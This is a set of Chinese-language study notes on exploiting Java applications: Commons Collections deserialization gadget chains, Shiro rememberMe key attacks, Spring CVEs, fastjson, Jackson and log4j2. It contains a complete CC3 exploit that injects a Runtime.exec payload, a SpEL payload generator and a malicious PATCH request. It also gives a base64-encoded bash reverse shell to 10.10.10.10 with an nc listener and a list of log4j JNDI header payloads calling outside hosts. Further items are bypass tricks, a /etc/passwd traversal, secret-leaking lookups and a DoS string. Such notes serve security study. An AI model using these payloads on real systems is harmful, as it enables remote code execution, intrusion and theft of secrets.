技术内容 / 本科的一些学习笔记和wp / java
java
反序列化
重写反序列化构造方法readObject()以及readResolve()方法
cc
Collections的包结构和简单介绍:
- org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
- org.apache.commons.collections.bag – 实现Bag接口的一组类
- org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
- org.apache.commons.collections.buffer – 实现Buffer接口的一组类
- org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
- org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
- org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
- org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
- org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
- org.apache.commons.collections.list – 实现java.util.List接口的一组类
- org.apache.commons.collections.map – 实现Map系列接口的一组类
- org.apache.commons.collections.set – 实现Set系列接口的一组类
原理
实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的 ,java.util.HashMap实现了Serializable接口,重写了readObject方法,在反序列化时会调用 hash 函数计算 key 的 hashcode 值,而 java.net.URL的 hashcode 计算时会调用 getHostAddress 来解析域名,从而发出DNS请求
代码审计过程:https://cloud.tencent.com/developer/article/2287103
readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行
关键接口
Transformer 接口
transform 方法,通过实现此接口来达到类型转换
InvokerTransformer
其 transform 方法实现了通过反射来调用某方法
ConstantTransformer
其 transform 方法将输入原封不动的返回
ChainedTransformer
其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去
TransformedMap。
Map 类是存储键值对的数据结构, TransformedMap,用来对 Map 进行某种变换。
只要调用 TransformedMap 类中的decorate()函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。
谈下CC链中三个重要的Transformer
ConstantTransformer类的transform方法直接返回传入的类对象
ChainedTransformer类中的transform方法会链式调用其中的其他Transformer.transform方法
InvokerTransformer类根据传入参数可以反射调用对应的方法
CC3中为了绕过一些规则对InvokerTransformer的限制,所以找到了InstantiateTransformer可以直接实例化对象
URLDNS链
URLDNS 链是 ysoserial 工具中一个利用链的名字,而ysoserial是一款堪称 Java 反序列化神器的用于生成利用不安全的 Java 对象反序列化的payload 的工具。
URLDNS 链的利用不限制 JDK 版本,并且使用 Java 内置类而对第三方依赖没有要求,因此常用于检测是否存在 Java 反序列化漏洞。不过这条利用链只能触发DNS请求,而不能利用其进行命令执行。
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections 被广泛应用于各种 Java 应用的开发,它已经成为 Java 中公认的集合处理标准。
cc1
利用 CC1 链触发反序列漏洞实现 RCE
Java 语言中实现命令执行的一个经典例子——调用本地计算器。
1、来看看最精简版的写法:
public class exec {
public static void main(String[] args) throws Exception{
Process calc = Runtime.getRuntime().exec("calc");
}
}
一般开发人员不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法 readObject 里,
但是我们可以找一条“反射链”(即本文的主角 CommonCollections 反序列化利用链)来插入执行恶意命令代码。
对于反序列化漏洞的挖掘的过程,实际上也就是结合 Java 的反射机制构造利用链(即readobject() -> getRuntime().exec)实现任意命令执行的过程。
poc1
构造一个 Map 和一个能够执行代码的 ChainedTransformer,以此生成一个 TransformedMap,然后修改 Map 中的任意项的 Key 或者 Value,或者想办法去触发 Map 中的 MapEntry 产生修改(例如setValue()函数),即可触发我们构造的 Transformer。
代码分析:
- 定义一个 Transformer 对象的数组,构造中间的小链子(包含 ConstantTransformer,InvokerTransformer);
- 基于反射调用 InvokerTransformer 构造命令执行代码;
- 命令执行造好了,还有一个触发 ChainedTransformer 的方法,就是 TransformedMap.decorate 方法;
- 实例化一个 Map对象,然后修饰绑定上 transformerChain 这个上面,每当有 Map 有新元素进来的时候,就会触发上面的链;
- 所以 Map 对象 put("zeo", "666") 一下就会触发命令执行成功弹出了计算器。
poc2
AnnotationInvocationHandler,这个类有一个成员变量 memberValues 是 Map 类型
AnnotationInvocationHandler的 readObject() 函数中对 memberValues 的每一项调用了 setValue() 函数
cc2
CC2就是一条专门用来应用于CC 4.0版本的新链子
与3.x的区别
唯一需要更改的地方就是LazyMap的decorate()方法,改名成了lazyMap()。
PriorityQueue
优先级最高的先出。基本的操作和queue差不多:
readObject()方法:
queue是通过重新创建,然后获取size并通过s.readObject读取objectAnnotation来填充入元素,因为这个PriorityQueue的queue属性是个瞬态属性
TransformingComparator
它是一个调用了Transformer的比较器类,看一下它的compare()方法:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
1
2
3
4
5
它对传入的两个要比较的元素分别调用了this.transformer.transform。至于这个transform是啥,相信都很熟了,InvokerTransformer,ChainedTransformer啥的。
poc
就是一条从PriorityQueue到Transformer的链子
cc3
CC3相当于CC1和CC2的结合,仔细分析过CC1和CC2来看CC3就非常简单。 CommonsCollections3是因为他的前半段触发的利用链跟CommonsCollections1是一样 的
回顾一下前半段利用链
sun.reflect.annotation.AnnotationInvocationHandler.readObject() -> memberValues.entrySet() -> AnnotationInvocationHandler.invoke() -> memberValues.get() => LazyMap.get() -> factory.transform() => ChainedTransformer.transform() -> iTransformers[].transform()
ChainedTransformer.transform()会循环调用iTransformers数组里的对象的transform函数。
用的是InvokerTransformer的transform,因为该函数实现了反射调用任意类的功能
TrAXFilter
调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控,在CC2中是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法。
nstantiateTransformer
实现了Transformer、Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;
基于LazyMap
public class acc3 {
public static void main(String[] args) throws Exception {
//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
poc
CommonsCollections3主要利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,常于静态块注入恶意代码
。并且在后续的调用中,这个Class被注入到内存中,从而执行了注入的静态块的代码,实现了任意Java代码执行。
思路
1.利用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码,最后把该类转换为字节码存到targetByteCodes数组中;
2.然后 实例化一个 TemplatesImpl类对象
3.将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,InstantiateTransformer类会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行,接下来找调用ChainedTransformer.transform()的地方
4. new一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,而factory参数就是传入的transformerChain,接着找调用get()的地方
5.AnnotationInvocationHandler对象用Proxy进行代理时,那么在readObject中只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
下面补充一下,在构造exp时需要满足的条件:
- 植入的 templates 为 TransformerImpl 类,从而调用后续的 newTransformer 函数
- 植入的 templates 实例, _name 不为 null , _class 为 null
- 植入的 templates 实例, _bytecodes 不为 null , _tfactory 为 TransformerFactoryImpl 对象
- 植入的 templates._bytecodes 数组,其最终还原的对象父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
cc4
CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;
CC4和CC2一样是通过调用TransformingComparator.compare()来实现transform()的调用;
和CC3一样是通过实例化TrAXFilter类,然后调用它的构造方法,进而实现newTransformer()的调用;
poc
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;
通过反射将queue的size设为2,因为在PriorityQueue.heapify()中,size的值需要大于1才能进入下一步;(CC2中有说到)
通过反射给queue的comparator参数赋值,从而调用到compare()方法,实现transform()的调用;
cc5
在jdk1.8中CC1的Annotationinvocation的readObject方法被改写了,于是诞生了CC5。CC5同样也是针对CommonsCollections3.1到3.2.1,jdk1.7到1.8。
CC5后半段与CC1完全相同,恶意对象反序列化在BadAttributeValueExpException类进入,然后经过TiedMapEntry类之后到达LazyMap的get方法。看过CC1链的都知道LazyMap的get方法能够直接执行ChainedTransformer的transform了,后面就是那条执行命令的链。
TiedMapEntry
在POC中,用LazyMap实例化了TiedMapEntry类。进去看看。主要是寻找有可能调用到LazyMap的get方法的地方。还非常的明显,就一个地方用到了get,就是这个getValue方法,this.map可控。
类中还有别的方法调用到了这个getValue。equals,hashcode,tostring三个方法都用到了getValue。 外部只需要调用其中一个就会执行到getValue,从而执行到LazyMap的get方法。
BadAttributeValueExpException
类中实现了readObject方法,可以用来反序列化,而且在反序列化的时候,将val的值放入valObj中(entry),然后判断如果valObj是Long、Interger、Float、Double、Byte、Short、布尔或者System.getSecurityManager() 为空的话,我们就能执行valObj.toString。
valObj怎么会是这些数字类型的对象呢?那么我们就要满足System.getSecurityManager() ==null。
poc
BadAttributeValueExpException.readObject() --> TiedMapEntry.toString() --> TiedMapEntry.getValue() --> LazyMap.get() --> ChainedTransformer.transform() --> RCE!!!
cc6
HashSet
HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。继承了序列化和集合
构造函数参数为空的话创建一个HashMap(),有一个参数的情况下,要创建指定容量的初始数值的哈希集合。
我们看到add方法会调用map.put()方法。这个map就是HashMap()
HashMap
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射,实现了Map 接口、Serializable接口
首先怎么怎么新建一个HashMap,这里就是创建一个整型(Integer)的 key 和字符串(String)类型的 value。
CC6三种实现方式
poc
1
利用hashSet.readobject触发hashmap.put()从而触发tiedmap.hashcode从而调用getvalue从而调用lazymap.get进而进入ChainedTransformer.tranform
剩余链子为ConstantTransformer+InvokerTransformer+InvokerTransformer+InvokerTransformer
2
利用hashSet.readobject触发hashmap.put()从而触发tiedmap.hashcode从而调用getvalue从而调用lazymap.get进而进入ChainedTransformer.tranform
剩余链子为ConstantTransformer+InvokerTransformer+InvokerTransformer+InvokerTransformer
TiedMapEntry.hashCode()
正如利用链那样可以调用getValue()方法,
HashMap.hash()
hash方法传入的参数为Object类型的key,然后用key去调用hashcode,所以我们只要传个恶意的TiedMapEntry作为hash()的key,就可以触发TiedMapEntry.hashCode()。
HashMap.put()
我们看到HashMap()的put方法,其中hash(key)的key是通过put传输的,所以我们调用HashMap的put方法时,我们恶意构造的TiedMapEntry当做key传入就可以。
HashSet.readObject()
看到通过readObject循环map.put(),从readObject读取,其中的map就是HashMap,前置知识有学习。到这里我们就可以尝试自己构造链子了。
把cc5的链直接搬过来,构造一个恶意的tiedMapEntry。
创建HashSet,把我们的tiedMapEntry作为key传进去,通过add方法调用HashMap的put方法传进去。
lazymap中用于调用的transform的属性为factory
在调用HashSet的add的方法,在对LazyMap赋值时,传入一个空的ConstantTransformer,在执行完HashSet的add方法后,通过反射修改lazyMap属性factory的值为我们的恶意ChainedTransformer类。
cc7
也是对CC1链的变形利用罢了,倒是其中涉及一些hash知识
Hashtable.put方法新增的元素,是存储在Hashtable$Entry这个内部类里面的,那么获取元素也是在这个内部类获取的,这个跟进一下Hashtable.put方法就能知道
LazyMap.put方法新增的元素,是调用LazyMap.map.put方法新增的,当map属性为HashMap对象的时候,新增的元素是存储在HashMap$Node内部类里面的,具体调试一下LazyMap.put方法便知,注意LazyMap类没有put方法,调用的是其父类的put方法
CommonsCollections7类的getObject方法,前面是一样的,很熟悉的实例化ChainedTransformer对象,Transformer数组的构造也和前面的链一样,后面再通过反射进行赋值
接下来实例化两个HashMap对象和两个LazyMap对象,实例化LazyMap的时候传入HashMap对象和ChainedTransformer链作为参数,并在LazyMap对象新增元素
实例化Hashtable对象,并把LazyMap对象作为对象传入,前面前景知识提到过Hashtable.put方法新增的元素是存储在Hashtable$Entry这个内部类里面的
shiro
Shiro是什么东西
- Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
- shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
- 可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
反序列化
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Shiro
①原理
为了保持持久化,shiro将信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,而在shiro1.2.4之前这段cookie是经过aes和base64加密的,若获取了aes的默认key,就可以构造恶意序列化数据导致RCE
②怎么检测key
550反序列化浔阳江头夜送客丶的博客-CSDN博客shiro550
措施
当key正确时,remeberme中不显示deleteMe字段,但这有一个前提我们构造的序列化对象必须继承于 PrincipalCollection
原因
- 当key不正确时会抛出异常,进入onRememberedPrincipalFailure函数,将remeberme的默认值改为deleteMe
- 当key正确时,在最后的反序列化后会返回PrincipalCollection类型的数据,若不为该类型则又会进入onRememberedPrincipalFailure函数将remeberme的默认值改为deleteMe,SimplePrincipalCollection继承了PrincipalCollection并且可以序列化所以可以直接使用
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./1.ser"));
obj.writeObject(simplePrincipalCollection);
obj.close();
因此只需要序列化一个继承与 PrincipalCollection 的类,便可通过deleteMe字段判断key的正确性
550
影响版本
- Apache Shiro < 1.2.4
1.1.3 漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
- 检索RememberMe Cookie的值
- Base 64解码
- AES解密(加密密钥硬编码)
- 进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)
2.1 漏洞简介
Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。
2.2 影响版本
- Apache Shiro < 1.4.2
2.2 漏洞利用
同1.3.1
利用技巧:
如果攻击没有生效,尝试删除Cookie中的Jsessionid字段,防止服务端不去处理cookie
权限绕过洞
Shiro-782
shiro和spring在处理url时候的规则不同导致的认证绕过
总的来说就是shiro和spring对于url的处理方式不同导致的
shiro在获取uri时(为了下一步匹配shiro-filter)对其进行了两次解码
spring在获取uri时(为了下一步匹配controller)对其进行了一次解码
所以说/admin/Hello%252faaaa在shiro眼里就是/admin/Hello/aaaa,即并不会触发shiro的认证filter
而在后面的spring眼里是/admin/Hello%2faaaa,刚好匹配上了/admin/{name}这个controller,从而实现了认证绕过
spring
远程命令执行漏洞(CVE-2016-4977)
访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot
直接打poc,可以看到有el表达式注入的形式
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
如果要命令执行需要把执行结果带外才行,java的命令执行漏洞基本需要编码
http://www.jackson-t.ca/runtime-exec-payloads.html
Base64编码后的命令执行语句还需要进行ascii编码,直接带入以下python脚本中
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
python编码的poc直接替换掉前面的el表达式,漏洞成功复现
远程命令执行漏洞(CVE-2017-8046)
漏洞原理:
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞复现:
命令执行
访问http://your-ip:8080/customers/1,然后抓取数据包,使用**PATCH**请求来修改
PATCH /customers/1 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
命令:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1
base64编码:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}
在10.10.10.10上开启监听:nc -lvp 7777
替换掉touch /tmp/success对应的payload,重新发送数据包
成功反弹shell
远程命令执行漏洞(CVE-2018-1270)
Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行
远程命令执行漏洞(CVE-2018-1273)
一、漏洞描述
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容而产生漏洞
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=
目录遍历漏洞(CVE-2019-3799)
漏洞复现
下载一个存在漏洞的 Spring Cloud Config,下载地址如下:
https://github.com/spring-cloud/spring-cloud-config
启动环境后,使用get方法传入/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd,即可读取到linux下passwd文件信息。
fastjson
fastjson 是一个java语言编写的高性能且功能完善的JSON库
JSON数据格式{"name":zy, "age":22, "flag":true, "gender":male, "address":cs}("key":value)
fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象
提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
二、fastjson反序列化漏洞原理
在反序列一个对象的时候会去自动调用这个对象的set方法,所以如果这个set方法中有一些危险的操作,那么就会导致漏洞的产生。
Fastjson反序列的方法有俩种:
- JSON.parseObject()返回实际类型对象
- JSON.parse()返回JsonObject对象
在序列化的时候,如果子类中包含接口或抽象类的时候,序列化后类型会丢失,所以fastjson为了解决这个问题,提供了一个自省(Autotype)功能,这个功能会给fastjson在序列化后的字符串前面加上类型{"@type":"com.zy.json.User","age":33,"flag":false,"name":"zy"}。
这样在反序列化的时候就可以找到所属的类,也就导致fastjson可以支持任意类的反序列化。
三、fastjson反序列化漏洞的前提条件
- 目标服务器存在fastjson。
- 没有对用户传输的数据进行严格过滤。
fastjson
fastjson提供了反序列化功能,并且可以调用任意的get、set方法,这就导致了该方法的恶意利用,造成一定安全问题
①JSON.parse()和JSON.parseObject()区别
当加上@type字段后都可获得类对象,但parse会调用对应setter方法吗,parseObject会调用setter、getter方法
②利用方式
- JdbcRowSetImpl链结合JNDI注入,需要出网
- TemplatesImpl动态加载字节码
- BasicDataSource配合BCEL不出网利用
③bypass
- **1.2.25-1.2.41:**checkAutoType()检测,但可以L开头;结尾绕过
- **1.2.42:**双写绕过
- **1.2.43:**会对[特殊处理,可以用[ xxxxxx[{绕过
- **1.2.44 -1.2.45:**三方组件mybatis绕过
- **1.2.47前:**缓存绕过,大通杀
- **1.2.66-1.2.67:**用JNDI相关类,比如Shiro的JndiObjectFactory和ignite项目的类
- **1.2.68:**用到期望类属性,只要利用类是expectClass类的子类或实现类,并且不在黑名单中,即可直接绕过AutoType检测
- 1.2.80:68版本在之后直接用黑名单简单粗暴的修复了,于是出现另一个期望类Throwable
④bypass waf
unicode编码、十六进制\x、Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符
⑤除RCE外的利用
写文件、ReDos
jackjson
当Jackson存在这两种配置的时候,就可以进行反序列化漏洞。
一个是通过DefaultTyping设置,还有一个是通过@JsonTypeInfo 注解。
1.DefaultTyping设置
该设置项存在四个选项。
- JAVA_LANG_OBJECT 针对Object进行反序列化
- OBJECT_AND_NON_CONCRETE 针对Object、Interface、AbstractClass
- NON_CONCRETE_AND_ARRAYS 针对Object、Interface、AbstractClass、Array
- NON_FINAL 针对除了声明为final之外的属性
如果是默认调用了:mapper.enableDefaultTyping,默认会选择第二个选项。
作为利用而言,只要配置了mapper.enableDefaultTyping就可以进行反序列化利用。
2.@JsonTypeInfo
@JsonTypeInfo注解包含五个配置
- CLASS 针对Object @class
- MINIMAL_CLASS Object缩写@c
- NAME 指定的一个标识,感觉是忽略了类@type
- CUSTOM 自定义
我们实际上能利用的就是下面这两种,但是一般这种情况会非常稀少
-
CLASS 针对Object @class
-
MINIMAL_CLASS Object缩写@c
-
三个黑名单漏洞
jackson黑名单位置
- 小于等于 2.8.10 src\main\java\com\fasterxml\jackson\databind\deser\BeanDeserializerFactory.java
- 大于2.8.11 src\main\java\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java
log4j2
log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。
这些payload的形式大多类似与这样:
${jndi:ldap://xxxx.com.cn}
该漏洞可直接加载远程代码,反弹shell,危害巨大
和以前的fastjson攻击的手法差不多
X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}
Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。
poc
本地
//首先在pom文件中,引入含有漏洞的log4j包,pom文件
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
// 直接在代码中输出含有ldap的dnslog的查询,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {
private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
public static void main(String[] args) {
logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");
}
}
运行以上代码,观察到dnslog上有反查记录,说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名,留下了查找记录
既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图
远程
构造一个恶意类,然后用rmi或者ldap起一个服务器做监听
当时复现是用marshalsec起的
或者直接用yso起一个带恶意类的服务器
找可利用的点把恶意类打进去,然后服务器上就能看了
在1099端口和1389端口,开启了rmi,ldap的监听服务,等待jndi的连接。同时我们也再9999端口,开启一个反弹监听端口,等待反弹shell上线。
nc -lvvp 9999
常见危险函数
java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()
①原理
log4j2调用过程中会截取${}中的内容,并执行JndiLoop.lookup导致RCE
③bypass
- 使用类似${::-J}的方式做字符串的绕过
- 结合upper和lower标签进行嵌套
- 有些字符大小写转换
④除了RCE还能干什么
- 信息泄露,如${env}和${env_SECRET_ACCESS_KEY}
- 也可用dnslog外带敏感信息
⑤2.15.0正式版绕过(微瑕)
主要是绕过HOST限制
- 用空格导致异常绕过
- 127.0.0.1#evil.com绕过,服务端#前的127.0.0.1会被认为是某个子域名,而本地则认为是127.0.0.1
⑥拒绝服务攻击
jndi的函数,它是堵塞的,一次时间大约为2s,而log4j2在处理${}时候是会递归的,所以通过简单的拼接,即可造成拒绝服务攻击:
payload:
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
